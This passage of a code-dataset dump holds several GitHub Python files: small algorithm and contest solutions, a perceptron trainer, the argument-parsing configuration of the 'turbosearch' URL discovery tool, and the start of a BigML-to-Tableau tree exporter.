service.data().realtime().get(ids=analytics_view_id, metrics='rt:activeUsers', dimensions='rt:medium').execute()\n totals = results.get('totalsForAllResults')\n return int(totals.get(\"rt:activeUsers\"))\n \n","repo_name":"05TEVE/python-realtime-gapi","sub_path":"gapi.py","file_name":"gapi.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"17741341591","text":"# Predict with weights for MPN (McCulloch-Pitts Neuron)\ndef predict_mpn(row, weights_mpn):\n activation = weights_mpn[0]\n for i in range(len(row)-1):\n activation += weights_mpn[i + 1] * row[i]\n return activation\n\n# Estimate MPN weights using stochastic gradient descent\ndef train_weights_mpn(train, l_rate, n_epoch):\n global weights_mpn\n global training_data\n global error_data\n weights_mpn = [0.0 for i in range(len(train[0]))]\n error_data = []\n training_data = []\n for epoch in range(n_epoch):\n sum_error = 0.0\n training_data_subset = []\n for row in train:\n prediction = predict_mpn(row, weights_mpn)\n training_data_subset.append([row[0],row[1],prediction])\n error = row[-1] - prediction\n sum_error += error**2\n weights_mpn[0] = weights_mpn[0] + l_rate * error\n for i in range(len(row)-1):\n weights_mpn[i + 1] = weights_mpn[i + 1] + l_rate * error * row[i]\n training_data.append(training_data_subset)\n error_data.append([epoch, sum_error])\n print('>epoch=%d, lrate=%.3f, error=%.3f' % (epoch, l_rate, sum_error))\n\n# test MPN\ndef test_mpn(dataset, l, n_epoch):\n l_rate = 1 / l\n weights_mpn = train_weights_mpn(dataset, l_rate, n_epoch)\n return weights_mpn","repo_name":"MonsterAzi/Neural-Investigations","sub_path":"Perceptron/MPN.py","file_name":"MPN.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31657133926","text":"f=open('15/simple.txt','r').read()\nl=f.split(\"\\n\")\n\nsensors=[]\nbeacons=[]\n\nfor c in l:\n c=c.replace(\"Sensor at x=\",\"\")\n c=c.replace(\", y=\",\",\")\n c=c.replace(\": closest beacon is at x=\",\",\")\n c=c.replace(\", y\",\",\")\n p=list(c.split(','))\n p=list(map(int, p))\n sensors.append((p[0],p[1]))\n beacons.append((p[2],p[3]))\n#print(beacons)\nprint(sensors)\n\n#Formule de calcul de distance taxi entre deux points \ndef distance(s,b):\n d = abs(s[0]-b[0]) + abs(s[1]-b[1])\n return d\n\n#Calculate distance for each beacon / sensor couple\ndistances=[]\nnb_sensors=len(sensors)\nfor i in range(nb_sensors):\n distances.append(distance(sensors[i],beacons[i]))\nprint(distances)\n\n#Calcul des coordonnée des sommets des carrés de couverture\npics=[]\nfor i in range(nb_sensors):\n pic=[]\n pic.append((sensors[i][0]+distances[i],sensors[i][1]))\n pic.append((sensors[i][0],sensors[i][1]+distances[i]))\n pic.append((sensors[i][0]-distances[i],sensors[i][1]))\n pic.append((sensors[i][0],sensors[i][1]-distances[i]))\n pics.append(pic)\nprint(pics)\n\n#Apply a rotation on all points\ndef rotate(cord):\n x=cord[0]\n y=cord[1]\n n=x+y\n m=-x+y\n return(n,m)\nsensors_r=[rotate(sensor) for sensor in sensors]\nprint(sensors_r)\n\npics_r=[[rotate(pic) for pic in x] for x in pics]\nprint(\"pics_r : \", pics_r)\n\n#Calcul les plans limites dans les nouvelles coordonnées au format m_min, m_max, n_min, n_max\nplans=[]\nfor i in range(nb_sensors):\n plan=[]\n plan.append(pics_r[i][2][0])\n plan.append(pics_r[i][0][0])\n plan.append(pics_r[i][0][1])\n plan.append(pics_r[i][1][1])\n plans.append(plan)\nprint(\"plans : \", plans)\n\n#Définition de la zone de recherche \nx_min=0\ny_min=0\nx_max=20\ny_max=20\n## Apply rotation on zone peaks\nprint(rotate((x_min,y_min)),rotate((x_min,y_max)),rotate((x_max,y_min)),rotate((x_max,y_max)),)\n\n#Iterate over the exploration zone\nscan_zone={}\nzone={}\nw=rotate((x_max,y_max))[0]\nprint(w)\nfor m in range(w+1):\n top=min(m,w-m)\n n=-top\n zone[m]=[]\n scan_zone[m]=[n,top]\n while n<=top:\n zone[m].append(n)\n n+=1\nprint(scan_zone)\n\n\ndef section_append(sections, new):\n \"\"\"for section in sections:\n if \"\"\"\n return sections\n\ndef addition(sec1, sec2):\n if sec1[0]>sec1[1] or sec2[0]>sec2[1]:\n raise Exception(\"Error on plans\")\n elif sec1[1]+1sec2[1]+1:\n return False\n else:\n sec=[]\n sec.append(min(sec1[0],sec2[0]))\n sec.append(max(sec1[1],sec2[1]))\n return sec\n\nprint(\"Addition : \", addition([10,12],[0,9]))\n\nexit()\n\n\"\"\"\n\n#Check each line for hole ?\nzone={}\nw=rotate((x_max,y_max))[0]\nprint(w)\nfor m in range(w+1):\n top=min(m,w-m)\n start=-top\n end=top\n\n #Find all square including y=m\n plans_list=[]\n for p in plans:\n\n\n\n zone[m]=[]\n while n<=top:\n zone[m].append(n)\n n+=1\n\n\n\n#Iterate on each point to find if inside a sensor/beacon circle\nx_min=0\ny_min=0\nx_max=20\ny_max=20\nimport time\n\nana_dict={}\nstart_time = time.time()\n\nfor x in range(x_min,x_max,1):\n time_now=time.time()\n print(x, time_now-start_time)\n for y in range(y_min,y_max,1):\n check=0\n for i in range(nb_sensors):\n if distance((x,y),sensors[i])<=distances[i]:\n break\n else:\n check+=1\n if check==nb_sensors: \n print(x,y)\n\n\"\"\"","repo_name":"fabienmoreno/adventofcode2022","sub_path":"15/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":3380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17912853140","text":"## https://school.programmers.co.kr/learn/courses/30/lessons/60057\n## 2020 KAKAO BLIND RECRUITMENT\n\"\"\"\n문제 설명\n데이터 처리 전문가가 되고 싶은 \"어피치\"는 문자열을 압축하는 방법에 대해 공부를 하고 있습니다.\n최근에 대량의 데이터 처리를 위한 간단한 비손실 압축 방법에 대해 공부를 하고 있는데,\n문자열에서 같은 값이 연속해서 나타나는 것을 그 문자의 개수와 반복되는 값으로 표현하여 더 짧은 문자열로 줄여서 표현하는 알고리즘을 공부하고 있습니다.\n간단한 예로 \"aabbaccc\"의 경우 \"2a2ba3c\"(문자가 반복되지 않아 한번만 나타난 경우 1은 생략함)와 같이 표현할 수 있는데,\n이러한 방식은 반복되는 문자가 적은 경우 압축률이 낮다는 단점이 있습니다.\n예를 들면, \"abcabcdede\"와 같은 문자열은 전혀 압축되지 않습니다.\n\"어피치\"는 이러한 단점을 해결하기 위해 문자열을 1개 이상의 단위로 잘라서 압축하여 더 짧은 문자열로 표현할 수 있는지 방법을 찾아보려고 합니다.\n\n예를 들어, \"ababcdcdababcdcd\"의 경우 문자를 1개 단위로 자르면 전혀 압축되지 않지만,\n2개 단위로 잘라서 압축한다면 \"2ab2cd2ab2cd\"로 표현할 수 있습니다. 다른 방법으로 8개 단위로 잘라서 압축한다면 \"2ababcdcd\"로 표현할 수 있으며,\n이때가 가장 짧게 압축하여 표현할 수 있는 방법입니다.\n\n다른 예로, \"abcabcdede\"와 같은 경우, 문자를 2개 단위로 잘라서 압축하면 \"abcabc2de\"가 되지만,\n3개 단위로 자른다면 \"2abcdede\"가 되어 3개 단위가 가장 짧은 압축 방법이 됩니다.\n이때 3개 단위로 자르고 마지막에 남는 문자열은 그대로 붙여주면 됩니다.\n\n압축할 문자열 s가 매개변수로 주어질 때,\n위에 설명한 방법으로 1개 이상 단위로 문자열을 잘라 압축하여 표현한 문자열 중 가장 짧은 것의 길이를 return 하도록 solution 함수를 완성해주세요.\n\n제한사항\ns의 길이는 1 이상 1,000 이하입니다.\ns는 알파벳 소문자로만 이루어져 있습니다.\n입출력 예\ns\tresult\n\"aabbaccc\"\t7\n\"ababcdcdababcdcd\"\t9\n\"abcabcdede\"\t8\n\"abcabcabcabcdededededede\"\t14\n\"xababcdcdababcdcd\"\t17\n\"\"\"\nfrom collections import deque\ndef string_comp(s,i):\n string_dq=deque([s[ck:ck+i] for ck in range(0,len(s),i)]+[None])\n save_dq=deque()\n save_dq.append(string_dq.popleft())\n count=1\n answer=''\n while len(string_dq)!=0:\n if save_dq[0]==string_dq[0]:\n count+=1\n string_dq.popleft()\n else:\n if count==1:\n answer+=save_dq[0]\n save_dq.append(string_dq.popleft())\n save_dq.popleft()\n elif string_dq[0]==None:\n answer+=str(count)+save_dq[0]\n break\n else:\n answer+=str(count)+save_dq[0]\n save_dq.append(string_dq.popleft())\n save_dq.popleft()\n count=1\n return len(answer)\ndef solution(s):\n len_s=len(s)\n answer = len_s\n chk_point=1\n while chk_point<=len_s//2:\n answer=min(answer,string_comp(s,chk_point))\n chk_point+=1\n return answer\n\"\"\"\n정확성 테스트\n테스트 1 〉\t통과 (0.08ms, 10.2MB)\n테스트 2 〉\t통과 (0.81ms, 10.2MB)\n테스트 3 〉\t통과 (0.62ms, 10.2MB)\n테스트 4 〉\t통과 (0.08ms, 10.3MB)\n테스트 5 〉\t통과 (0.00ms, 10.3MB)\n테스트 6 〉\t통과 (0.07ms, 10.2MB)\n테스트 7 〉\t통과 (0.77ms, 10.4MB)\n테스트 8 〉\t통과 (0.92ms, 10.3MB)\n테스트 9 〉\t통과 (1.74ms, 10.3MB)\n테스트 10 〉통과 (3.36ms, 10.3MB)\n테스트 11 〉통과 (0.24ms, 10.4MB)\n테스트 12 〉통과 (0.15ms, 10.2MB)\n테스트 13 〉통과 (0.17ms, 10.2MB)\n테스트 14 〉통과 (0.99ms, 10.2MB)\n테스트 15 〉통과 (0.28ms, 10.3MB)\n테스트 16 〉통과 (0.04ms, 10.3MB)\n테스트 17 〉통과 (1.63ms, 10.2MB)\n테스트 18 〉통과 (1.74ms, 10.4MB)\n테스트 19 〉통과 (3.00ms, 10.2MB)\n테스�� 20 〉통과 (3.60ms, 10.3MB)\n테스트 21 〉통과 (3.42ms, 10.2MB)\n테스트 22 〉통과 (3.55ms, 10.2MB)\n테스트 23 〉통과 (3.38ms, 10.2MB)\n테스트 24 〉통과 (3.25ms, 10.2MB)\n테스트 25 〉통과 (3.47ms, 10.4MB)\n테스트 26 〉통과 (3.39ms, 10.3MB)\n테스트 27 〉통과 (3.57ms, 10.4MB)\n테스트 28 〉통과 (0.03ms, 10.2MB)\n\"\"\"","repo_name":"BrotherGyu/programmers_solution","sub_path":"Level_02/문자열 압축.py","file_name":"문자열 압축.py","file_ext":"py","file_size_in_byte":4452,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"27363366516","text":"from itertools import product\n\n# 정보과학관 0, 전산관 1, 미래관 2, 신양관 3, 한경직기념관 4, 진리관 5, 학생회관 6, 형남공학관 7\nM = [[0]*8 for _ in range(8)]\nM[0][1], M[0][2] = 1, 1\nM[1][0], M[1][2], M[1][3] = 1, 1, 1\nM[2][0], M[2][1], M[2][3], M[2][4] = 1, 1, 1, 1\nM[3][1], M[3][2], M[3][4], M[3][5] = 1, 1, 1, 1\nM[4][2], M[4][3], M[4][5], M[4][7] = 1, 1, 1, 1\nM[5][3], M[5][4], M[5][6] = 1, 1, 1 \nM[6][5], M[6][7] = 1, 1\nM[7][4], M[7][6] = 1, 1\n\ndef mul(m1, m2):\n width = len(m1[0])\n height = len(m2)\n new = [[0]*width for _ in range(height)]\n for row, col in product(range(height), range(width)):\n for i in range(width):\n new[row][col] = (new[row][col] + m1[row][i] * m2[i][col]) % 1_000_000_007\n return new\n\ndef cal(matrix, cnt):\n global M\n if cnt == 1:\n return matrix\n if cnt % 2 == 0:\n next = cal(matrix, cnt//2)\n return mul(next, next)\n else:\n next = cal(matrix, cnt-1)\n return mul(next, M)\n\nresult = cal(M, int(input()))[0][0]\nprint(result)","repo_name":"lake041/algorithm","sub_path":"baekjoon/.etc/Divide and Conquer/Gold 5, 본대 산책2.py","file_name":"Gold 5, 본대 산책2.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22798283354","text":"#!/usr/bin/python3\n# -*- coding: UTF-8 -*-\n\nimport os, subprocess, socket, re, requests, errno, sys, time, json, signal, base64, hashlib, random\nfrom pathlib import Path\n\nfrom .args import Arguments\nfrom .util.color import Color\nfrom .util.logger import Logger\nfrom .util.database import Database\nfrom .__meta__ import __version__\n\nclass Configuration(object):\n ''' Stores configuration variables and functions for Turbo Search. '''\n version = '0.0.0'\n\n initialized = False # Flag indicating config has been initialized\n verbose = 0\n target = ''\n word_list = ''\n out_file = ''\n extensions = []\n full_log = False\n forward_location = True\n cmd_line =''\n restore = ''\n ignore = ''\n threads_data = None\n restored_uri=''\n restored_paths=[]\n restored_deep_links=[]\n threads_data={}\n md5_search = False\n sha1_search = False\n sha256_search = False\n hash_upper = False\n deep = False\n ignore_rules={}\n proxy=''\n proxy_report_to=''\n text_to_find = []\n available_methods=['GET', 'POST', 'PUT', 'PATCH', 'HEAD', 'OPTIONS']\n request_methods=['GET']\n user_agent=''\n user_headers={}\n case_insensitive=False\n words=[]\n skip_current=False\n db = None\n statsdb=False\n norobots = False\n nudupcheck = False\n doublepath = False\n\n @staticmethod\n def initialize():\n '''\n Sets up default initial configuration values.\n Also sets config values based on command-line arguments.\n '''\n\n # Only initialize this class once\n if Configuration.initialized:\n return\n Configuration.initialized = True\n\n Configuration.verbose = 0 # Verbosity level.\n Configuration.print_stack_traces = True\n\n # Overwrite config values with arguments (if defined)\n Configuration.load_from_arguments()\n\n\n @staticmethod\n def load_from_arguments():\n ''' Sets configuration values based on Argument.args object '''\n from .args import Arguments\n\n config_check = 0\n\n force_restore = any(['-R' in word for word in sys.argv])\n help = any(['-h' in word for word in sys.argv])\n\n if help:\n args = Arguments().args\n else:\n if not force_restore and os.path.exists(\"turbosearch.restore\"):\n ignore = any(['-I' in word for word in sys.argv])\n if not ignore:\n Color.pl('{!} {W}Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./turbosearch.restore')\n time.sleep(10)\n os.remove(\"turbosearch.restore\")\n\n args = {}\n if os.path.exists(\"turbosearch.restore\"):\n try:\n with open(\"turbosearch.restore\", 'r') as f:\n restore_data = json.load(f)\n Configuration.cmd_line = restore_data[\"command\"]\n Configuration.threads_data = restore_data[\"threads\"]\n Configuration.restored_uri = restore_data[\"current_path\"]\n Configuration.restored_paths = restore_data[\"paths\"]\n Configuration.restored_deep_links = restore_data[\"deep_links\"]\n Configuration.skip_current = restore_data.get(\"skip_current\",False)\n\n except Exception as e:\n Color.pl('{!} {R}error: invalid restore file\\r\\n')\n raise\n\n args = Arguments(Configuration.cmd_line).args\n\n else:\n args = Arguments().args\n for a in sys.argv:\n if a != \"-I\":\n Configuration.cmd_line += \"%s \" % a\n\n\n\n Color.pl('{+} {W}Startup parameters')\n\n Logger.pl(' {C}command line:{O} %s{W}' % Configuration.cmd_line)\n\n if args.target:\n Configuration.target = args.target\n if Configuration.target.endswith('/'):\n Configuration.target = Configuration.target[:-1]\n\n if args.tasks:\n Configuration.tasks = args.tasks\n\n if args.word_list:\n Configuration.word_list = args.word_list\n\n if args.verbose:\n Configuration.verbose = args.verbose\n\n if args.out_file:\n Configuration.out_file = args.out_file\n\n if args.tasks:\n Configuration.tasks = args.tasks\n\n if Configuration.tasks < 1:\n Configuration.tasks = 1\n\n if Configuration.tasks > 256:\n Configuration.tasks = 256\n\n if Configuration.target == '':\n config_check = 1\n\n if Configuration.word_list == '':\n config_check = 1\n\n if config_check == 1:\n Configuration.mandatory()\n\n if args.full_log:\n Configuration.full_log = args.full_log\n\n if args.no_forward_location:\n Configuration.forward_location = False\n\n if args.md5_search:\n Configuration.md5_search = True\n\n if args.sha1_search:\n Configuration.sha1_search = True\n\n if args.sha256_search:\n Configuration.sha256_search = True\n\n if args.hash_upper:\n Configuration.hash_upper = True\n\n if args.deep:\n Configuration.deep = True\n\n if args.proxy:\n Configuration.proxy = args.proxy\n\n if args.statsdb:\n Configuration.statsdb = args.statsdb\n\n if args.report_to:\n Configuration.proxy_report_to = args.report_to\n\n if args.doublepath:\n Configuration.doublepath = args.doublepath\n\n if args.nudupcheck:\n Configuration.nudupcheck = True\n\n\n if args.request_method != '':\n if args.request_method.upper().strip() == \"ALL\":\n Configuration.request_methods = Configuration.available_methods\n else:\n Configuration.request_methods = []\n m_list = (args.request_method + \",\").split(\",\")\n for m in m_list:\n m1 = m.strip().upper()\n if m1 != '' and m1 not in Configuration.request_methods and m1 in Configuration.available_methods:\n Configuration.request_methods.append(m1)\n\n if len( Configuration.request_methods) == 0:\n Logger.pl('{!} {R}error: could not parse valid request method(s) from value {O}%s{R} {W}\\r\\n' % (args.request_method))\n Configuration.exit_gracefully(0)\n\n if args.case_insensitive:\n Configuration.case_insensitive = args.case_insensitive\n\n if args.norobots:\n Configuration.norobots = args.norobots\n\n if args.random_agent:\n try:\n \n with open(str(Path(__file__).parent) + \"/resources/user_agents.txt\", 'r') as f:\n # file opened for writing. write to it here\n line = next(f)\n for num, aline in enumerate(f, 2):\n if random.randrange(num):\n continue\n if aline.strip(\"\\r\\n\").strip() == '':\n continue\n Configuration.user_agent = aline.strip(\"\\r\\n\").strip()\n \n except IOError as x:\n if x.errno == errno.EACCES:\n Color.pl('{!} {R}error: could not open ./resources/user_agents.txt {O}permission denied{R}{W}\\r\\n')\n Configuration.exit_gracefully(0)\n elif x.errno == errno.EISDIR:\n Color.pl('{!} {R}error: could not open ./resources/user_agents.txt {O}it is an directory{R}{W}\\r\\n')\n Configuration.exit_gracefully(0)\n else:\n Color.pl('{!} {R}error: could not open ./resources/user_agents.txt{W}\\r\\n')\n Configuration.exit_gracefully(0)\n\n if args.header != '':\n jData = {}\n try:\n jData=json.loads(args.header)\n except:\n Logger.pl('{!} {R}error: could not convert header value {O}%s{R} from an JSON object {W}\\r\\n' % (args.header))\n Configuration.exit_gracefully(0)\n\n Configuration.user_headers={}\n try:\n for k in jData:\n if isinstance(k, str):\n if isinstance(jData[k], str):\n if k.lower().find(\"user-agent\") != -1:\n Configuration.user_agent = jData[k]\n elif k.lower().find(\"host\") != -1:\n pass\n elif k.lower().find(\"connection\") != -1:\n pass\n elif k.lower().find(\"accept\") != -1:\n pass\n elif k.lower().find(\"accept-encoding\") != -1:\n pass\n else:\n Configuration.user_headers[k] = jData[k]\n else:\n raise Exception(\"The value of %s id not an String\" % k)\n else:\n raise Exception(\"%s id not an String\" % k)\n except Exception as e:\n Logger.pl('{!} {R}error: could parse header data: {R}%s{W}\\r\\n' % (str(e)))\n Configuration.exit_gracefully(0)\n\n regex = re.compile(\n r'^(?:http|ftp|socks|socks5)s?://' # http:// or https://\n r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\\.)+(?:[A-Z]{2,6}\\.?|[A-Z0-9-]{2,}\\.?)|' # domain...\n r'localhost|' # localhost...\n r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})' # ...or ip\n r'(?::\\d+)?' # optional port\n r'(?:/?|[/?]\\S+)$', re.IGNORECASE)\n\n if re.match(regex, Configuration.target) is None:\n Color.pl('{!} {R}error: invalid target {O}%s{R}{W}\\r\\n' % Configuration.target)\n Configuration.exit_gracefully(0)\n\n if Configuration.proxy != '' and re.match(regex, Configuration.proxy) is None:\n Color.pl('{!} {R}error: invalid proxy {O}%s{R}{W}\\r\\n' % Configuration.proxy)\n Configuration.exit_gracefully(0)\n\n if Configuration.proxy_report_to != '' and re.match(regex, Configuration.proxy_report_to) is None:\n Color.pl('{!} {R}error: invalid report to proxy {O}%s{R}{W}\\r\\n' % Configuration.proxy_report_to)\n Configuration.exit_gracefully(0)\n\n if not os.path.isfile(Configuration.word_list):\n Color.pl('{!} {R}error: word list file not found {O}%s{R}{W}\\r\\n' % Configuration.word_list)\n Configuration.exit_gracefully(0)\n\n if Configuration.out_file != '':\n try:\n with open(Configuration.out_file, 'a', encoding=\"utf-8\") as f:\n # file opened for writing. write to it here\n Logger.out_file = Configuration.out_file\n f.write(Color.sc(Configuration.get_banner()) + '\\n')\n f.write(Color.sc('{+} {W}Startup parameters') + '\\n')\n pass\n except IOError as x:\n if x.errno == errno.EACCES:\n Color.pl('{!} {R}error: could not open output file to write {O}permission denied{R}{W}\\r\\n')\n Configuration.exit_gracefully(0)\n elif x.errno == errno.EISDIR:\n Color.pl('{!} {R}error: could not open output file to write {O}it is an directory{R}{W}\\r\\n')\n Configuration.exit_gracefully(0)\n else:\n Color.pl('{!} {R}error: could not open output file to write{W}\\r\\n')\n Configuration.exit_gracefully(0)\n\n\n try:\n with open(Configuration.word_list, 'r') as f:\n # file opened for writing. write to it here\n pass\n except IOError as x:\n if x.errno == errno.EACCES:\n Logger.pl('{!} {R}error: could not open word list file {O}permission denied{R}{W}\\r\\n')\n Configuration.exit_gracefully(0)\n elif x.errno == errno.EISDIR:\n Logger.pl('{!} {R}error: could not open word list file {O}it is an directory{R}{W}\\r\\n')\n Configuration.exit_gracefully(0)\n else:\n Logger.pl('{!} {R}error: could not open word list file {W}\\r\\n')\n Configuration.exit_gracefully(0)\n\n\n Logger.pl(' {C}target:{O} %s{W}' % Configuration.target)\n\n if Configuration.proxy != '':\n Logger.pl(' {C}Proxy:{O} %s{W}' % Configuration.proxy)\n\n Logger.pl(' {C}tasks:{O} %s{W}' % Configuration.tasks)\n\n if args.verbose:\n Logger.pl(' {C}option:{O} verbosity level %d{W}' % Configuration.verbose)\n\n Logger.pl(' {C}request method(s): {O}%s{W}' % ', '.join(Configuration.request_methods))\n\n if Configuration.user_agent:\n Logger.pl(' {C}user agent: {O}%s{W}' % Configuration.user_agent)\n\n Logger.pl(' {C}word list:{O} %s{W}' % Configuration.word_list)\n\n if Configuration.doublepath:\n Logger.pl(' {C}double path search:{O} yes{W}')\n\n if Configuration.forward_location:\n Logger.pl(' {C}forward location redirects:{O} yes{W}')\n\n if Configuration.deep:\n Logger.pl(' {C}deep links search:{O} yes{W}')\n\n if Configuration.case_insensitive:\n Logger.pl(' {C}case insensitive search:{O} yes{W}')\n else:\n Logger.pl(' {C}case insensitive search:{O} no{W}')\n\n\n if args.extensions != '':\n ext_list = args.extensions.split(\",\")\n for ex in ext_list:\n ex1 = ex.strip()\n if ex1 != '' and ex1 not in Configuration.extensions:\n Configuration.extensions.append(ex.strip())\n\n ext_txt = ''\n if len(Configuration.extensions) > 0:\n ext_txt = ''\n for ex in Configuration.extensions:\n ext_txt += '(%s)' % ex\n\n if ext_txt != '':\n Logger.pl(' {C}extension list:{O} %s{W}' % ext_txt)\n\n if Configuration.out_file != '':\n Logger.pl(' {C}output file:{O} %s{W}' % Configuration.out_file)\n\n\n if args.filter_rules != '':\n ignore_list = args.filter_rules.split(\",\")\n for ignore_line in ignore_list:\n ignore_line = ignore_line.strip()\n if ':' in ignore_line:\n (i_result,i_size) = ignore_line.split(\":\")\n size=0\n res=0\n try:\n res=int(i_result)\n except:\n Logger.pl('{!} {R}error: could not convert {O}%s{R} from {O}%s{R} to an integer value {W}\\r\\n' % (i_result,ignore_line))\n Configuration.exit_gracefully(0)\n\n try:\n size=int(i_size)\n except:\n Logger.pl('{!} {R}error: could not convert {O}%s{R} from {O}%s{R} to an integer value {W}\\r\\n' % (i_size,ignore_line))\n Configuration.exit_gracefully(0)\n \n if not res in Configuration.ignore_rules:\n Configuration.ignore_rules[res] = []\n Configuration.ignore_rules[res].append(size)\n\n else:\n res=0\n try:\n res=int(ignore_line)\n except:\n Logger.pl('{!} {R}error: could not convert {O}%s{R} to an integer value {W}\\r\\n' % (ignore_line))\n Configuration.exit_gracefully(0)\n\n if not res in Configuration.ignore_rules:\n Configuration.ignore_rules[res] = []\n Configuration.ignore_rules[res].append(False)\n\n\n if Configuration.statsdb:\n try:\n Configuration.db = Database()\n except Exception as e:\n Logger.pl('{!} {R}error: could not create stats database {R}%s{W}\\r\\n' % (str(e)))\n Configuration.exit_gracefully(0)\n\n if args.find != '':\n tmp_find_lst = []\n find_list = args.find.split(\",\")\n for ex in find_list:\n ex1 = ex.strip()\n if ex1 != '' and ex1 not in tmp_find_lst:\n tmp_find_lst.append(ex1)\n \n if len(tmp_find_lst) > 0:\n fnd_txt = ''\n for ex in tmp_find_lst:\n fnd_txt += '(%s)' % ex\n\n if fnd_txt != '':\n Logger.pl(' {C}find list:{O} %s{W}' % ext_txt)\n\n if len(tmp_find_lst) > 0:\n md5 = hashlib.md5()\n sha1 = hashlib.sha1()\n sha256 = hashlib.sha256()\n \n for fndw in tmp_find_lst:\n words = []\n words.append(fndw)\n \n if fndw.upper() not in words:\n words.append(fndw.upper())\n if fndw.lower() not in words:\n words.append(fndw.lower()) \n\n for ex in words:\n if ex not in Configuration.text_to_find:\n Configuration.text_to_find.append(ex)\n \n md5.update(ex.encode())\n hash = md5.hexdigest()\n if hash not in Configuration.text_to_find:\n Configuration.text_to_find.append(hash)\n Configuration.text_to_find.append(hash.upper())\n \n sha1.update(ex.encode())\n hash = sha1.hexdigest()\n if hash not in Configuration.text_to_find:\n Configuration.text_to_find.append(hash)\n Configuration.text_to_find.append(hash.upper())\n \n sha256.update(ex.encode())\n hash = sha256.hexdigest()\n if hash not in Configuration.text_to_find:\n Configuration.text_to_find.append(hash)\n Configuration.text_to_find.append(hash.upper())\n \n encoded = base64.b64encode(ex.encode()).decode()\n encoded = encoded.replace('=','')\n if encoded not in Configuration.text_to_find:\n Configuration.text_to_find.append(encoded)\n \n\n @staticmethod\n def variants(word):\n md5 = hashlib.md5()\n sha1 = hashlib.sha1()\n sha256 = hashlib.sha256() \n words = []\n if word not in words:\n words.append(word)\n \n if word.upper() not in words:\n words.append(word.upper())\n \n if word.upper() not in words:\n words.append(word.lower())\n\n for ex in words:\n encoded = base64.b64encode(ex.encode()).decode()\n encoded = encoded.replace('=','')\n if encoded not in Configuration.text_to_find:\n Configuration.text_to_find.append(encoded)\n\n @staticmethod\n def get_banner():\n \"\"\" Displays ASCII art of the highest caliber. \"\"\"\n\n Configuration.version = str(__version__)\n\n return '''\\\n\n{G}HHHHHH{W} {R}→→{G}HHH{W}\n{G}HHHHHH{W} {R}→→→→{G}HH{W} \n{G}HHHHHH{W} {R}→→→→→→{W}\n{R}→→{W}-{R}→→→→→→→→→→→→→→→→→→→→→→ {G}Turbo Search {D}v%s{W}{G} by Helvio Junior{W}\n{R}→→{W}|{R}→→→→→→→→→→→→→→→→→→→→→→→→ {W}{D}automated url finder{W}\n{R}→→{W}-{R}→→→→→→→→→→→→→→→→→→→→→→ {C}{D}https://github.com/helviojunior/turbosearch{W}\n{G}HHHHHH{W} {R}→→→→→→{W}\n{G}HHHHHH{W} {R}→→→→{G}HH{W} \n{G}HHHHHH{W} {R}→→{G}HHH{W}\n\n ''' % Configuration.version\n\n\n @staticmethod\n def mandatory():\n Color.pl('{!} {R}error: missing a mandatory option ({O}-t and -w{R}){G}, use -h help{W}\\r\\n')\n Configuration.exit_gracefully(0)\n\n @staticmethod\n def exit_gracefully(code=0):\n ''' Deletes temp and exist with the given code '''\n\n exit(code)\n\n\n @staticmethod\n def kill(code=0):\n ''' Deletes temp and exist with the given code '''\n\n os.kill(os.getpid(),signal.SIGTERM)\n\n\n @staticmethod\n def dump():\n ''' (Colorful) string representation of the configuration '''\n from .util.color import Color\n\n max_len = 20\n for key in Configuration.__dict__.keys():\n max_len = max(max_len, len(key))\n\n result = Color.s('{W}%s Value{W}\\n' % 'Configuration Key'.ljust(max_len))\n result += Color.s('{W}%s------------------{W}\\n' % ('-' * max_len))\n\n for (key,val) in sorted(Configuration.__dict__.items()):\n if key.startswith('__') or type(val) == staticmethod or val is None:\n continue\n result += Color.s(\"{G}%s {W} {C}%s{W}\\n\" % (key.ljust(max_len),val))\n return result\n\nif __name__ == '__main__':\n Configuration.initialize(False)\n print(Configuration.dump())\n","repo_name":"helviojunior/turbosearch","sub_path":"turbosearch/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":21752,"program_lang":"python","lang":"en","doc_type":"code","stars":110,"dataset":"github-code","pt":"3"} +{"seq_id":"36830956095","text":"from bigml.tree_utils import (filter_nodes, split, ruby_string,\n missing_branch, none_value,\n one_branch, PYTHON_OPERATOR, COMPOSED_FIELDS)\n\nfrom bigml.tree import Tree\n\nT_MISSING_OPERATOR = {\n \"=\": \"ISNULL(\",\n \"!=\": \"NOT ISNULL(\"\n}\n\n\ndef value_to_print(value, optype):\n \"\"\"String of code that represents a value according to its type\n\n \"\"\"\n if (value is None):\n return \"NULL\"\n if (optype == 'numeric'):\n return value\n return u\"'%s'\" % value.replace(\"'\", '\\\\\\'')\n\n\nclass TableauTree(Tree):\n\n def missing_check_code(self, field, alternate, cmv, conditions, attr=None):\n \"\"\"Builds the code to predict when the field is missing\n\n \"\"\"\n conditions.append(\"ISNULL([%s])\" % self.fields[field]['name'])\n code = u\"%s %s THEN \" % \\\n (alternate, \" AND \".join(conditions))\n if attr is None:\n value = value_to_print( \\\n self.output, self.fields[self.objective_id]['optype'])\n else:\n value = getattr(self, attr)\n code += (u\"%s\\n\" % value)\n cmv.append(self.fields[field]['name'])\n del conditions[-1]\n\n return code\n\n def missing_prefix_code(self, field, cmv):\n \"\"\"Part of the condition that checks for missings when missing_splits\n has been used\n\n \"\"\"\n\n negation = u\"\" if self.predicate.missing else u\"NOT \"\n connection = u\"OR\" if self.predicate.missing else u\"AND\"\n if not self.predicate.missing:\n cmv.append(self.fields[field]['name'])\n return u\"(%sISNULL([%s]) %s \" % ( \\\n negation, self.fields[field]['name'],\n connection)\n\n def split_condition_code(self, field, conditions,\n pre_condition, post_condition):\n \"\"\"Condition code for the split\n\n \"\"\"\n optype = self.fields[field]['optype']\n value = value_to_print(self.predicate.value, 